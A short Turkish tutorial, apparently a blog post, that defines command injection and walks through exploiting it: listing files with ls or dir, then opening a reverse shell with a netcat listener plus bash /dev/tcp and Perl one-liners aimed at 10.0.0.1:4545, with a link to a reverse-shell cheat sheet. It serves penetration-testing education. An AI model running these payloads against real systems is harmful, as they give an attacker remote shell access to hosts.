Command injection nedir?
Uygulama arayüzünde veri girişi yapılan yere işletim sisteminin anlayacağı bir komut yazdığımızda çalışıyorsa Command injection açığı var diyebiliriz kısaca.
- ls -la veya dir yazdığımızda işletim sisteminde bulunduğumuz dizindeki dosyalar listeleniyorsa şunlara bakabiliriz. dir windows için ls linux işletim sistemi için.
- pwd ile bulunduğumuz dizini görebiliriz.
- revers shell alalım. Bunun için pentestmonkey de “Reverse Shell Cheat Sheet” var. Burada farklı dillerde çalıştırabileceğimiz komutlar var.
- Kali yi açıp nc – lvn 4545 portun dinleyelim.
Bash için: bash -i >& /dev/tcp/10.0.0.1/4545 0>&1
PERL için: perl -e ‘use Socket;$i=”10.0.0.1″;$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
Diğer diller için: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet